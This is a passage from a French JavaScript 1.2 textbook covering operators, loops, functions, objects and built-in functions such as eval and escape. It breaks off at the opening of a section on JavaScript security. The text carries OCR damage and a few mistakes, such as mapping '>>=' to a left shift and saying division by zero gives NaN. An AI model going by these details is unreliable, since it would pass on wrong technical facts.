 Programmation HTML et JavaScript

Opérateurs d'affectation
Une expression peut permettre d'affecter une valeur à une variable. Pour cela, elle doit
utiliser un opérateur d'affectation. L'opérateur de base est bien sûr le signe égal. Par
exemple, x=7 affecte 7 à la valeur x. Mais il est possible de combiner cet opérateur avec
les opérateurs arithmétiques, et binaires. Voici la liste de ces combinaisons :
• X+= y correspond à x = x + y
• x-=y correspond à X = X- y
• x*=y correspond à x = x * y
• x/= y correspond à x = x / y
• x %= y correspond à x = x % y
• x<<= y correspond à x = x < < y
• x >>= y correspond à x = x < < y
• x »>= y correspond à x = x > > > y
• x&=y correspond à x = x & y
• xʌ=y correspond à x = x ʌ y
• x|= y correspond à x = x | y

Opérateurs de comparaison
Les opérateurs de comparaison permettent de créer des expressions booléennes. Ils ser­
vent à comparer deux valeurs. Si la comparaison s'avère vérifiée (par exemple 1 < 2),
alors l'expression vaut true ; sinon l'expression vaut false. Ces opérateurs peuvent être
utilisés pour comparer aussi bien des valeurs numériques que des chaînes de caractères.
• == retourne true si les deux opérandes sont identiques. (1==1) vaut true.
• != retourne true si les deux opérandes sont différents. (1 !=2) vaut true.
• <= retourne true si le premier opérande est inférieur ou égal au second. (1<=2)
vaut true.
• >= retourne true si le premier opérande est supérieur ou égal au second. (2>=1)
vaut true.
• < retourne true si le premier opérande est inférieur au second. (1<2) vaut true.
• > retourne true si le premier opérande est supérieur au second. (2>1) vaut true.

Remarque : Il est conseillé de toujours insérer une comparaison entre parenthèses.

Les instructions de base

JavaScript possède seulement douze instructions de base et deux méthodes pour insérer
des commentaires dans le code. Voici le détail de chacune d'entre elles.

380
JavaScript 1.2

Les commentaires
Comme dans tous les langages de programmation, les commentaires ont un rôle primor­
dial. C'est grâce à eux que votre code sera lisible et facile à corriger ou à modifier. JavaS­
cript propose deux façons d'insérer des commentaires dans le code.
La première consiste à utiliser deux barres obliques (slash) / en début de ligne. Cette
méthode permet d'insérer une seule ligne de commentaires. Par exemple :

<SCRIPT LANGUAGE="JavaScript1.2">
/ / O n écrit bonjour
[Link]('Bonjour et ')
/ / O n écrit Au revoir
[Link]('Au revoir')
</SCRIPT>

La seconde méthode permet d'insérer simultanément plusieurs lignes de commentaires.

Ces lignes doivent être insérées entre les symboles /* et */. Par exemple :

<SCRIPT LANGUAGE="JavaScript1.2">
/* On écrit bonjour
puis
on écrit Au revoir */
[Link]('Bonjour et ')
[Link]('Au revoir')
</SCRIPT>

Les variables

var est utilisée pour déclarer de nouvelles variables. L'usage de var est optionnel puisque
la déclaration des variables est optionnelle en JavaScript (voir Les variables, page 289).
Cependant, il est recommandé pour des raisons de lisibilité, var peut être utilisée en
dehors du corps d'une fonction pour définir une variable globale, ou dans le corps d'une
fonction pour définir une variable locale.

Syntaxe :
var varl
ou
var var1=valeur1

var var1,...,varN

Voici un exemple où l'on définit une variable globale et une variable locale :

<SCRIPT LANGUAGE="JavaScript1.2">

381
 Programmation HTML et JavaScript

// Définition de la variable globale

var globale = 'Moi je suis globale'
function Rien() {
var locale = 'et moi je suis locale'
return locale
}
</SCRIPT>

Les boucles
Les blocs d'intructions nommés
JavaScript permet de nommer une instruction ou un bloc d'instructions (délimité par les
caractères { et } ). Ce nom peut ensuite être utilisé par les instructions break et continue
pour leur indiquer où continuer l'exécution du programme.

Syntaxe :
Nom_de_Bloc :
Instruction

Nom_de_Bloc : {
Instruction 1

InstructionN

Exemple : voir les instructions break et continue.

do ... while
L'instruction while permet de répéter l'exécution d'un bloc d'instructions tant que la
condition passée en paramètre est vérifiée (c'est-à-dire correspond à la valeur booléenne
true). La condition est testée après chaque exécution du bloc d'instructions. Dans tous les
cas, le bloc d'instructions est donc au moins exécuté une fois.

Syntaxe :
do {
Instruction 1

InstructionN
} while (condition)

Exemple :

382
JavaScript 1.2

var nombre = 2
do {
[Link]('Ok : ' + nombre + '<BR>')
nombre += 1
} while ((nombre < 5)&&(nombre > 2 ) )

Cet exemple affichera à l'écran :

Ok : 2
Ok : 3
Ok : 4
while
L'instruction while permet de répéter l'exécution d'un bloc d'instructions tant que la
condition passée en paramètre est vérifiée (c'est-à-dire correspond à la valeur booléenne
true). La condition est testée avant chaque exécution du bloc d'instructions. Si la condi­
tion n'est pas vérifiée lors du premier passage, le bloc d'instructions n'est jamais exé­
cuté.

Syntaxe :
while (condition) {
Instruction 1

InstructionN

Dans l'exemple suivant, on incrémente un compteur. Dès qu'il vaut trois, la condition
passée en paramètre de l'instruction while est fausse. La boucle est donc terminée au
bout de trois itérations :

// On exécute 3 fois les mêmes commandes

var compteur = 0
while (compteur < 3) {
[Link]('Qu\' est-ce que vous dites ?' + '<BR>')
compteur = compteur + 1
}

Dans l'exemple suivant, on utilise l'instruction while pour réaliser une boucle infinie.
Pour cela, on passe true en paramètre à l'instruction while :

while (true) {
[Link]('Je ne m\'arrête jamais...' + '<BR>')
}

383
 Programmation HTML et JavaScript

for
Comme l'instruction while, l'instruction for est utilisée pour répéter l'exécution d'une
série de commandes. Cependant, cette instruction est plus intéressante car elle permet en
outre de préciser une commande à exécuter avant la première itération (paramètre
expr_initiale), une commande à exécuter après chaque itération (expr_repetee) et enfin la
condition qui doit être vérifiée avant d'entamer une nouvelle itération (condition). Dans
la majorité des cas, l'instruction for est utilisée lorsqu'on désire avoir un entier qui
balaye toutes les valeurs entre deux bornes.
Il faut noter que chacun des paramètres de l'instruction for est optionnel.

Syntaxe :
for (expr_initiale; condition; expr_repetee) {
Instruction1

InstructionN

Voici l'exemple d'un entier qui balaye toutes les valeurs entre 5 et 10. Le paramètre
exprjnitiale initialise la variable i à 5, la condition pour continuer l'itération est que i
soit inférieur ou égal à 10 et le paramètre expr_repetee incrémente de 1 la variable i :
for (i = 5; i <= 10; i++) {
[Link](i + '<BR>')

L'exemple suivant illustre une autre façon de réaliser une boucle infinie en utilisant le
fait que les paramètres de l'instruction for sont optionnels :
for (; ;) {
[Link]('Je ne m\ 'arr&ecirc;te jamais...' + '<BR>')
}

for... in
Cette instruction permet d'avoir une variable qui balaye l'ensemble des index d'un
tableau ou l'ensemble des propriétés d'un objet selon qu'on lui passe en paramètre un
tableau ou un objet. En fait, la notion de propriété et d'index de tableau est très proche
(voir Les tableaux, page 303).

Syntaxe :
for (variable in tableau) {
Instruction 1

InstructionN

384
JavaScript 1.2

for (variable in objet) {

Instruction 1

InstructionN
}

Cet exemple permet d'obtenir la liste des propriétés de l'objet prédéfini window.
<SCRIPT LANGUAGE="JavaScript1.2">
[Link]('Voici la liste des propri&eacute; t&eacute; s de
l'objet <I>navigator</I> :<BR>')
for (prop in navigator) {
[Link]('navigator.'.italics() + [Link]() + '<BR>')
}
</SCRIPT>

Figure 75 - Document [Link]

Cet exemple permet d'obtenir la liste des index d'un tableau :

var Tab = new Array()
Tab[0] = 'Un'
Tab[1] = 'Deux'
Tab[2] = 'Trois'
for (index in Tab) {
[Link]('Tab[' + index + '] = ')
/ / O n affiche la valeur correspondante
[Link](Tab[index] + '<BR>')
}
break
break est utilisé pour sortir prématurément d'une boucle réalisée à l'aide d'une des ins­
tructions while ou for. Un appel à break interrompt l'itération en cours et provoque l'exé­
cution de la première instruction suivant cette boucle.

385
 Programmation HTML et JavaScript

Syntaxe :
break

Voici l'exemple d'une boucle infinie qui se termine lorsque le nombre aléatoire hasard
vaut 7 :

// Boucle infinie
while (true) {
// Nombre aleatoire entre 0 et 7
hasard = [Link](7 *[Link] ( ))
if ( hasard == 7 ) {
break
}
}
[Link]('Si l\'on passe ici c'est que hasard vaut 7')

break peut aussi être utilisé pour sortir prématurément d'un bloc d'instructions nommé (à
l'aide de l'instruction label).

Syntaxe :
break nom_bloc

Exemple :

<SCRIPT LANGUAGE="JavaScript1.2">

// Premier bloc d'instructions nomme

début : {
[Link]('Un<BR>')

// Deuxieme bloc d'instructions nomme

suite : {
[Link]('Deux<BR>')
// Ici on sort du deuxieme bloc nomme
break suite
[Link]('Trois<BR>')
}
[Link]('Quatre<BR>')
// Ici on sort du premier bloc nomme
break début
[Link]('Cinq<BR>')
}
[Link]('Six<BR>')
</SCRIPT>
Figure 76 - [Link]

386
JavaScript 1.2

Cet exemple affichera :

Un
Deux
Quatre
Six

sur le browser.

continue
continue est utilisé au sein d'une boucle réalisée à l'aide d'une des instructions while ou
for pour interrompre l'itération courante et passer directement à l'itération suivante (les
instructions de la boucle placées après l'appel à continue ne sont donc pas exécutées).

Syntaxe :
continue

Dans l'exemple suivant, on fait un tirage de 100 nombres aléatoires compris entre 0 et
100, nombres qu'on n'affiche que s'ils sont différents de 7 :

// Boucle de 100 iterations

<SCRIPT LANGUAGE="JavaScript1.2">
for(i=0;i<99;i++) {
// Nombre aleatoire entre 0 et 100
hasard = [Link](100 *[Link]())
// Si le nombre est 7, on recommence un nouveau tirage
if ( hasard == 7 ) {
// On passe directement à 1'iteration suivante
continue
}
// Sinon, on l'affiche
[Link](hasard + ' - ')
}
</SCRIPT>

continue peut également être utilisé au sein d'une boucle while ou for nommée. Dans ce
cas, le nom de bloc permet de préciser la boucle concernée par l'instruction continue.

Syntaxe :
continue nom_bloc

Exemple :
<SCRIPT LANGUAGE="JavaScript1.2">
[Link]('<TABLE BORDER=2>')
Ligne:
for (numLigne=1; numLigne<6; numLigne++) {
// On saute la deuxieme ligne

387
 Programmation HTML et JavaScript

if (numLigne = = 2 ) {
continue Ligne
}
[Link]('<TR>')
Colonne:
for (numColonne=l; numColonne<6; numColonne++) {
/ / O n saute la cellule 3x4
if ((numLigne == 3)&&(numColonne = = 4 ) ) {
[Link]('<TD>On saute la cellule')
continue Colonne
}
/ / O n arrête la quatrieme ligne des la deuxieme colonne
if ((numLigne == 4)&&(numColonne = = 2 ) ) {
[Link]('<TD>On passe a la ligne')
continue Ligne
}
document .write ('<TD>' + numLigne + 'x' + numColonne)
}
}
[Link]('</TABLE>')
</SCRIPT>

Figure 77 - [Link]

Les fonctions
function
Cette instruction permet de définir une fonction JavaScript, c'est-à-dire de regrouper un
ensemble d'instructions afin d'en faire une unité cohérente qu'on nomme et à laquelle on
peut faire appel à tout moment comme à une nouvelle instruction du langage.

Syntaxe si la fonction ne retourne pas de valeur :

function Nom_Function ( Arg1, , ArgN) {
Instruction 1

InstructionM
}
Syntaxe si la fonction retourne une valeur :
function Nom_Function (Arg1, ..., ArgN) {
Instruction 1

InstructionM
return valeur

388
JavaScript 1.2

Lorsqu'on définit une fonction, on nomme les paramètres qui pourront être passés en
arguments à cette fonction (arg1 à ArgN dans la syntaxe ci-dessus). Ces paramètres
seront ensuite accessibles dans le corps de la fonction comme des variables. Cependant,
il est possible, lorsqu'on appelle une fonction, de fournir plus ou moins d'arguments que
le nombre initialement déclaré. Si l'on fournit moins d'arguments, les arguments qui
n'apparaissent pas lors de l'appel auront une valeur nulle dans le corps de la fonction. Si
l'on fournit plus d'arguments, on pourra accéder à ces valeurs supplémentaires grâce à
un tableau appelé arguments qui contiendra l'ensemble des arguments passés à la fonc­
tion. Le nombre d'arguments est obtenu par [Link]. Les arguments sont quant
à eux obtenus en référençant arguments[0], ...,arguments[[Link]-1]. Notez
également, bien que l'utilisation en soit rare, arguments possède d'autres propriétés.
Chaque variable locale d'une fonction est automatiquement une propriété d'arguments.
Enfin, arguments possède la propriété caller, qui est une référence vers la fonction à par­
tir de laquelle la présente fonction a été appelée. Ainsi, dans une fonction B appelée par
une fonction A, on pourra par exemple accéder à une des variables locales de A en utili­
sant la syntaxe [Link].nom_variable_locale.

Il est possible de passer n'importe quel type de données en paramètre d'une fonction.
Cependant, il faut savoir que les chaînes de caractères, nombres et booléens sont passés
en valeur, alors qu'objets et tableaux sont passés en référence. Cela signifie, par exemple
que, si vous passez en paramètre d'une fonction une variable contenant une chaîne de
caractères et si vous modifiez la valeur de cette chaîne dans le corps de votre fonction, la
variable d'origine n'est pas modifiée. Seule la valeur de la variable est passée en paramè­
tre de la fonction. Les choses sont différentes avec les tableaux et les objets. Pour ces
types de données, le passage de paramètres se fait par référence. Autrement dit, c'est la
référence de l'objet qui est passée à la fonction. Ainsi, si dans le corps de la fonction
vous modifiez une des propriétés d'un objet passé en paramètre, l'objet d'origine est éga­
lement modifié. Voici deux exemples pour illustrer cela :

<SCRIPT LANGUAGE="JavaScript1.2">
var chaine='Bonjour'

function Change(param) {
/ / O n change la valeur du paramètre
param = 'Au revoir'
}

/ / O n applique la fonction
Change(chaine)
// On affiche la chaine
[Link](chaine)
</SCRIPT>

389
 Programmation HTML et JavaScript

Vous l'aurez compris, ce premier document affiche 'Bonjour' sur le browser. Voilà un
second exemple où l'on passe en paramètre un tableau (le résultat serait le même avec un
objet) :

<SCRIPT LANGUAGE="JavaScript1.2">
var tab=new Array(5)
tab[0] = 'Bonjour'

function Change(param) {
/ / O n change la valeur du parametre
param[0] = 'Au revoir'
}
/ / O n applique la fonction au tableau
Change(tab)
// On affiche la chaine
[Link](tab[0])
</SCRIPT>

Ce second document affiche 'Au revoir'.

Comme une variable globale, une fonction ne peut être utilisée que dans le document
dans lequel elle a été définie. Si l'on désire utiliser une fonction d'un autre document
(dans une autre frame par exemple), il faut indiquer la hiérarchie complète permettant
d'atteindre cet autre document. Voici un exemple de ce type d'appel :
[Link]()

Ce point est expliqué en détail à la figure 58, page 319.

Notez qu'il est possible de définir une fonction au sein de la définition d'une première
fonction. Une telle fonction ne sera visible que de la fonction dans laquelle elle a été défi­
nie. Dans l'exemple suivant, nous utilisons des fonctions imbriquées pour définir la fonc­
tion rgb() qui, à partir de trois entiers compris entre 0 et 255, retourne une chaîne de
caractères correspondant au codage hexadécimal d'une couleur :

<SCRIPT LANGUAGE="JavaScript1.2">
var i = 2 5 5
/ / Retourne une chaîne de caractères composée des valeurs
// hexadécimales des 3 nombres r g et b
// r g et b doivent être compris entre 0 et 256
function rgb(r, g, b) {
/ / Retourne la valeur hexadécimale du nombre num
// num doivent être compris entre 0 et 256
function hex(num) {
function lettre(c) {

390
JavaScript 1.2

switch (c) {
case 10 : return 'A'
break
case 11 : return 'B'
break
case 12 : return 'C'
break
case 13 : return 'D'
break
case 14 : return 'E'
break
case 15 : return 'F'
break
default : return c+''
}
}
dizaine = lettre([Link](num/16))
unité = lettre(num%16)
return dizaine + unité
}
return '#'+hex(r)+hex(g)+hex(b)
}
// Change la couleur du fond en fonction de la position de la souris
function change(evt) {
couleur = Math, floor ( ([Link]/[Link])*255)
[Link] = rgb(255, 0, couleur)
}
// Capture les déplacements de souris
[Link]([Link])
// Associe la fonction change au déplacement de la souris
[Link]=change
</SCRIPT>
<BODY >
Bougez votre souris de droite à gauche pour modifier la couleur du
document...
</BODY>

Figure 78 - document [Link]

Il est également possible de créer des fonctions lors de l'exécution du code JavaScript
(voir Function(), page 359).

Enfin, les fonctions permettent de définir les classes d'objets ainsi que les constructeurs
et méthodes qui y sont associés (voir Les objets, page 295).

Voici un exemple d'implémentation de la fonction factorielle :

391
 Programmation HTML et JavaScript

// Définition de la fonction factorielle

function factorielle(n) {
// Si n vaut 0 on renvoie 1 sinon on renvoie
// N fois factorielle(n-1)
return (n == 0) ? 1 : n*factorielle(n-1)
}

Voici l'exemple d'une fonction qui calcule la somme de ses arguments :

function somme() {
var somme_partielle = 0
/ / O n parcourt toutes les valeurs passees en parametre
for (i=0; i<[Link]; i++) {
// On en fait la somme
somme_partielle += arguments[i]
}
return somme_partielle
}

Par exemple, somme( 1,2,3,4) renvoie 10, et somme( 1,2,3,4,5) renvoie 15.

return
return est utilisé au sein de la définition d'une fonction lorsqu'on désire qu'elle retourne
une valeur. L'appel à l'instruction return renvoie la valeur passée en paramètre et termine
la fonction.

Syntaxe :
return valeur

Voici l'exemple d'une fonction renvoyant la factorielle de l'entier passé en paramètre :

// Définition de la fonction factorielle

function factorielle(n) {
// Si n vaut 0 on renvoie 1 sinon on renvoie
// N fois factorielle(n-1)
return (n == 0) ? 1 : n*factorielle(n-1)
}

Les instructions conditionnelles

if... else
Cette instruction est conditionnelle, elle permet de choisir entre deux blocs d'instructions
celui qui sera executé selon que la condition passée en paramètre est vraie (true) ou
fausse (false).

392
JavaScript 1.2

Syntaxe :
if (condition) {
Instruction1

InstructionN
} else {
Instruction1

InstructionM
}

Exemple :
// hasard est un nombre aléatoire compris entre 0 et 100
hasard = [Link](100*[Link]())
// Si hasarf vaut 7, on écrit 'hasard vaut 7'
if ( hasard == 7 ) {
[Link]('hasard vaut 7' + '<BR>')
// Sinon, on écrit 'hasard ne vaut pas 7'
} else {
[Link]('hasard ne vaut pas 7' + '<BR>')
}

switch ... case

L'instruction switch permet de sélectionner un bloc d'instructions à exécuter en fonction
de la valeur d'une expression passée en paramètre. On associe à chaque valeur qu'on
souhaite traiter un bloc d'instructions à l'aide du mot case. Toutes les valeurs non traitées
(c'est-à-dire auxquelles on n'a associé aucun bloc) provoqueront l'exécution du bloc
nommé portant le nom default.

Syntaxe :

switch (expression) {
case valeur1 :

break;
case valeurN :

break;
default :

393
 Programmation HTML et JavaScript

Attention à ne pas oublier de terminer chaque bloc case par une intruction break.

Exemple :
<SCRIPT LANGUAGE="JavaScript1.2">
var saison = 'été'
switch (saison) {
case 'printemps' :
[Link]('<H1>Voilà le printemps...</H1>')
break
case 'été' :
[Link]('<H1>Voilà l\'été...</H1>')
break
case 'automne' :
[Link]('<H1>Voilà l\'automne...</H1>')
break
case 'hiver' :
[Link]('<H1>Voilà l\'hiver...</H1>')
break
default :
[Link]('Désolé, mais là je ne sais pas')
}
</SCRIPT>

Les objets
new
L'instruction new permet de créer un nouvel objet. Elle doit pour cela être associée à un
constructeur (voir Les objets, page 295) qui permet d'indiquer à la fois le type de l'objet
et ses valeurs initiales. En terminologie objet, on dira que new permet de créer une nou­
velle instance d'une classe.

Syntaxe :
nouvel_obj = new Construteur(Arg1, ..., ArgN)

Dans cet exemple, on utilise new avec un constructeur prédéfini, le constructeur Date() :
// Création d'une instance de l'objet Date
anniversaire = new Date('September 12, 1970')

Dans cet exemple, on définit un constructeur puis on crée deux instances de la classe
ainsi définie :

//Constructeur de l'objet Individu

function Individu(nom, prénom, date_naissance) {

394
JavaScript 1.2

[Link] = nom
[Link]énom = prenom
this.date_naissance = date_naissance
}
// Creation de l'instance belle-soeur
bellesoeur = new Individu('Aubert', 'Elodie', '28/11/1976')
// Creation de l'instance niece
autre= new Individu('Aubert' , 'Christelle', '12/9/1970')

this
this sert à référencer l'objet courant. Cette instruction est principalement utilisée lors de
la définition des constructeurs et des méthodes d'une classe. Dans le cas de la définition
d'un constructeur, elle permet de faire référence à la future instance (qu'on considère
comme l'objet courant au moment de l'appel). Dans le cas de la définition d'une
méthode, elle permet de faire référence à l'instance (qu'on considère comme l'objet cou­
rant au moment de l'appel) à laquelle s'appliquera cette méthode (voir Les objets,
page 295).
Mais this est aussi souvent utilisé lorsqu'on insère du code JavaScript au sein d'une
balise HTML (dans une balise de gestion d'événements ou une URL avec pseudo-proto­
cole JavaScript). Il permet alors de faire référence à l'objet défini par cette balise (élé­
ment d'un formulaire, lien...).

Syntaxe :
[Link]

[Link]()

Dans l'exemple suivant, this est utilisé pour référencer, lors de sa définition en HTML,
un bouton de soumission de formulaire. Le formulaire possède deux champs texte. Au
moment où l'on clique sur le bouton de soumission, on passe à une fonction l'ensemble
du formulaire afin de tester si tous les champs texte sont renseignés. Le formulaire est
référencé par l'objet [Link], this correspondant au bouton de soumission et [Link]
au formulaire auquel appartient le bouton de soumission :

<HEAD>
<SCRIPT LANGUAGE="JavaScript1.2">
// Definition de la fonction de verification du formulaire
// Renvoie true si tous les champs texte sont renseignes
// Renvoie false si un champ texte n'est pas renseigne
function Verification(formulaire) {
/ / O n passe en revue tous les elements du formulaire
for (champ=0; champ<[Link]; champ++) {
// Si le champ est un champ texte et qu'il est vide
if (([Link][champ].type == "text")
&&(!([Link][champ].value))) {

395
 Programmation HTML et JavaScript

// Alors on affiche un message d'avertissement

alert("Le champ "+[Link][champ].name+
" ne doit pas etre vide !")
// et on renvoie false
return false
}
}
/ / S i tous les champs texte sont renseignes on renvoie true
return true
}
</SCRIPT>
</HEAD>
<BODY>
<FORM>
Nom :<INPUT TYPE="TEXT" NAME="nom"><BR>
Prénom :<INPUT TYPE="TEXT" NAME="prénom"><BR>
<--!
Dans la balise onClick:
* return true indique au browser qu'il peut continuer comme
s'il s'agissait d'un clic normal. Le formulaire est soumis au serveur.
* return false indique qu'il doit arreter le traitement par
défaut, c'est a dire ne pas soumettre le formulaire
L'appel a la fonction est fait en passant en parametre [Link].
this reference l'objet courant, a savoir le bouton submit, et
[Link] reference donc le formulaire dans lequel se trouve
ce bouton !-->

<INPUT
TYPE="SUBMIT"
VALUE="Envoyer"
onClick="return Verification([Link])">
</FORM>
</BODY>
Figure 79 - Document [Link]

with
Cette instruction permet de définir l'objet par défaut pour un bloc d'instructions passé en
paramètre. Ainsi, dans ce bloc, toute méthode ou propriété appelée sans faire référence à
un objet sera considérée comme appartenant à l'objet indiqué par l'instruction with. Une
utilisation classique de cette instruction concerne l'objet prédéfini Math. En effet, plutôt
que de répéter plusieurs fois le nom de cet objet, on le déclare comme objet par défaut.
Syntaxe :
with (objet){
Instruction1

InstructionN
}

396
JavaScript 1.2

Cet exemple illustre l'utilisation de with avec l'objet Math :

// L'utilisation de with permet de ne pas répéter le nom de l'objet
with (Math) {
resultat = exp(PI*PI/2)
}

Sans with, il aurait fallu écrire :

résultat = [Link]([Link]*[Link]/2)

Les fonctions prédéfinies

JavaScript dispose également de fonctions prédéfinies qui ne sont des méthodes
d'aucune classe.

parseFloat
La fonction parseFloat analyse la chaîne de caractères qu'on lui passe en paramètre et,
dans la mesure du possible, la traduit en valeur numérique réelle. Par exemple, la chaîne
'1.414' sera traduite en valeur numérique 1.414. L'analyse se fait de gauche à droite. Si
l'un des caractères de la chaîne ne peut pas être considéré comme appartenant à une
expression numérique, l'analyse s'arrête et la valeur retournée correspond aux premiers
caractères analysés. Si le premier caractère pose problème, toute traduction en valeur
numérique est impossible et la fonction retourne la valeur NaN (pour Not a Number).
Syntaxe :
parseFloat(chaine)

chaine est la chaîne de caractères à évaluer. parseFloat retourne soit une valeur entière,
soit la valeur NaN.

parselnt
La fonction parselnt analyse la chaîne de caractères qu'on lui passe en paramètre, et dans
la mesure du possible, la traduit en valeur numérique entière. Par exemple, la chaîne
'1.414' sera traduite en la valeur numérique 1. L'analyse se fait de gauche à droite. Si
l'un des caractères de la chaîne ne peut pas être considéré comme appartenant à une
expression numérique entière, l'analyse s'arrête et la valeur retournée correspond aux
premiers caractères analysés. Si le premier caractère pose problème, toute traduction en
valeur numérique est impossible et la fonction retourne la valeur NaN (pour Not a Num­
ber). Syntaxe :
parseInt(chaine,base)
chaine est la chaîne de caractères à évaluer, parseInt retourne soit une valeur entière, soit
la valeur NaN.
base est un argument optionnel qui indique la base dans laquelle la chaîne doit être ana­
lysée. Les valeurs possibles pour cet argument sont 2 pour binaire, 8 pour octal, 10 pour

397
 Programmation HTML et JavaScript

décimal et 16 pour hexadécimal. Si base n'est pas renseigné, la base choisie par Java­
Script dépend des premiers caractères de l'argument chaine. Si les deux premiers carac­
tères sont '0x', alors la base est hexadécimale. Si le premier caractère est 0, la base est
octale. Dans les autres cas, la base est décimale.

IsNaN
En JavaScript, lorsqu'une expression numérique ne peut pas être évaluée, elle prend la
valeur NaN (pour Not a Number). C'est le cas, par exemple, lors d'une division par 0 ou
lorsqu'on essaie de transformer en nombre une chaîne de caractères qui n'a rien de
numérique. Syntaxe :
IsNaN(expression)
expression est l'expression numérique qu'on souhaite tester. IsNaN retourne la valeur
booléenne true ou false.
Exemple :
<SCRIPT LANGUAGE="JavaScript1.2">
var chaine1 = new String('3.14')
var chaine2 = new String('Rien')
//On fait un test sur chainel
if (isNaN(Res = parseInt(chainel))) {
[Link]('La valeur obtenue pour parseInt(\'' +
chaine1 + '\')n\'est pas numerique.<BR>')
} else {
[Link] ('La valeur numerique de parselnt (\'' +
chaine1 + '\') est ' + Res + '.<BR>')
}
//On fait un test sur chaine2
if (isNaN(Res = parselnt(chaine2))) {
[Link]('La valeur obtenue pour parseInt(\'' +
chaine2 + '\') n\'est pas numerique.')
} else {
[Link]('La valeur numerique deparseInt(\'' +
chaine2 + ' \ ' )est ' + Res + '.')
}
</SCRIPT>
Figure 80 - Document [Link]

398
JavaScript 1.2

void
void est utilisé en association avec le pseudo-protocole JavaScript:. Rappelons que ce
pseudo-protocole permet de remplacer une URL par du code JavaScript. Par exemple :
<A HREF="JavaScript:[Link]()">Fermez-moi</A>

Il faut savoir que, dans ce cas, lorsque le code JavaScript exécuté retourne une valeur,
cette valeur est utilisée pour créer un nouveau document qui remplace le document cou­
rant. Voici un court exemple, dans lequel un lien hypertexte fait appel à une fonction qui
renvoie une chaîne de caractères au format HTML :

<SCRIPT LANGUAGE="JavaScript1.2">
function retourneHTML() {
alert('Bonjour à vous')
return('<H1>Bienvenue chez moi</H1>')
}
</ SCRIPT>
<A HREF="JavaScript :retourneHTML()">Appuyez donc ici</A>

Ce comportement peut être intéressant, mais la plupart du temps, quand on utilise le

pseudo-protocole JavaScript:, on souhaite que le document courant ne change pas. Pour
cela, on utilise l'opérateur void. Cet opérateur fait en sorte que la commande JavaScript
exécutée ne retourne aucune valeur.
Syntaxe :
JavaScript:void(expression)
Ainsi, si l'on modifie l'exemple précédent en y ajoutant l'opérateur void, le fait de cli­
quer sur le lien hypertexte affichera seulement la fenêtre d'alerte, mais ne remplacera pas
le document courant :
<SCRIPT LANGUAGE="JavaScript1.2">
function retourneHTML() {
alert('Bonjour à vous')
return('<H1>Bienvenue chez moi</H1>')
}
</SCRIPT>
<A HREF=" JavaScript :void( retourneHTML ()) ">Appuyez donc ici</A>

eval
Cette fonction évalue la chaîne de caractères qu'on lui passe en paramètre comme une
expression JavaScript et retourne la valeur de cette expression.
Syntaxe :
eval(chaine)

chaine est une chaîne de caractères contenant l'expression JavaScript à évaluer, chaine
peut être une simple commande JavaScript ou toute une série de commandes séparées

399
 Programmation HTML et JavaScript

par des points-virgules. Il est inutile d'utiliser eval pour une expression numérique car
celle-ci est automatiquement évaluée par JavaScript.
Voici deux exemples. Dans le premier, on utilise eval pour calculer la valeur d'une
expression numérique littérale.
<SCRIPT LANGUAGE="JavaScript1.2">
/ / O n définit un polynome comme une chaîne de caractères
var polynome = 'x*x+2*x+1'
/ / O n donne une valeur à x et on évalué le polynome
var x = 2
[Link]('Pour x=2, ' + polynome + 'vaut ' + eval (polynome) +
'<BR>')
// On donne une valeur à x et on évalue le polynome
var x = 4
[Link] 'Pour x=4, ' + polynome + 'vaut ' + eval (polynome) )
</SCRIPT>

Figure 81 - Document [Link]

Dans le second, on utilise eval pour exécuter la commande JavaScript alert() :

<SCRIPT LANGUAGE="JavaScript1.2">
var execute = 'alert(\'Cet exemple est d\\\'un intérêt limité !\')'
eval(execute)
</SCRIPT>

escape
La fonction escape retourne la chaîne qu'elle reçoit en argument après l'avoir URL-
encodée.

Syntaxe :
escape(chaine)

chaine est la chaîne à encoder.

Par exemple, escape('été') retournera la chaîne '%E9t%E9'.
Cette fonction est utile lorsqu'on souhaite construire une URL en spécifiant une valeur
pour la partie QUERY_STRING, c'est-à-dire la partie de l'URL dans laquelle sont pas­
sés les arguments aux scripts CGI.
Exemple :

400
JavaScript 1.2

<FORM>
Choisissez votre saison: <SELECT
onChange="[Link]='[Link]?saison=' +
escape([Link][[Link]].text)">
<OPTION>printemps
<OPTION>été
<OPTION>automne
<OPTION>hiver
</SELECT>
</FORM>
Figure 82 - Fichier [Link]

unescape
La fonction unescape retourne la chaîne qu'elle reçoit en argument après avoir supprimé
le codage de type URL-encodée.
Syntaxe :
unescape(chaine)

chaîne est la chaîne à encoder.

Par exemple, unescape('%E9t°7cE9') retournera la chaîne 'été'.
Cette fonction est utile lorsqu'on souhaite décoder la partie QUERY_STRING, c'est-à-
dire la partie de l'URL dans laquelle les arguments sont passés aux scripts CGI.

L'exemple suivant est appelé à partir du fichier [Link] présenté ci-dessus. On peut
aussi l'appeler manuellement, en ouvrant par exemple l'URL suivante :
[Link]

(à condition que les fichiers exemples aient été copiés dans le répertoire c:/exemples de
votre disque dur.)

<SCRIPT LANGUAGE="JavaScript1.2">
// On recupere les champs passes en parametre de l'URL (par exemple
saison=%E9t%E9)
//a l'aide de [Link].
/ / O n decode cette chaine puis on la decoupe en deux
// pour recuperer la valeur envoyee
param = unescape([Link]).split ( ' = ' )
saison = param[1]
switch (saison) {
case 'printemps' :
[Link]('<Hl>Voila le printemps...</Hl>')
break
case 'ete' :
[Link]('<Hl>Voila l\'ete...</Hl>')
break
case 'automne' :

401
 Programmation HTML et JavaScript

[Link]('<H1>Voila l\'automne...</H1>')
break
case 'hiver' :
[Link]('<H1>Voila l\'hiver...</H1>')
break
default :
[Link]('Desole, mais la je ne sais pas')
}
</SCRIPT>

Figure 83 - Fichier [Link]

JavaScript et la sécurité
Comme Java, mais dans une moindre mesure, JavaScript pose des problèmes de sécurité
évidents. Lorsqu'on insère un script JavaScript dans une page, on insère en fait un pro­
gramme qui tournera sur toutes les machines des personnes qui téléchargeront la page .
Le script va s'exécuter sans demander quoi que ce soit à l'utilisateur. Certes, celui-ci peut
désactiver le fonctionnement de JavaScript sur sa machine, mais peu d'utilisateurs choi­
sissent cette option. JavaScript n'a que des fonctionnalités limitées, mais celles-ci suffi­
sent à un esprit vicieux et doué pour voler des informations indiscrètes sur la machine de
l'utilisateur sans qu'il s'en aperçoive. Il faut donc protéger l'utilisateur contre ce genre
d'attaques. Pour ce faire, les concepteurs de JavaScript ont identifié les instructions qui
posent des problèmes de sécurité. Si un développeur souhaite utiliser l'une d'elles, il
devra commencer par ajouter une signature digitale à son script. Au moment où il s'exé­
cute, le script pourra alors faire une demande auprès du browser, afin de savoir si l'utili­
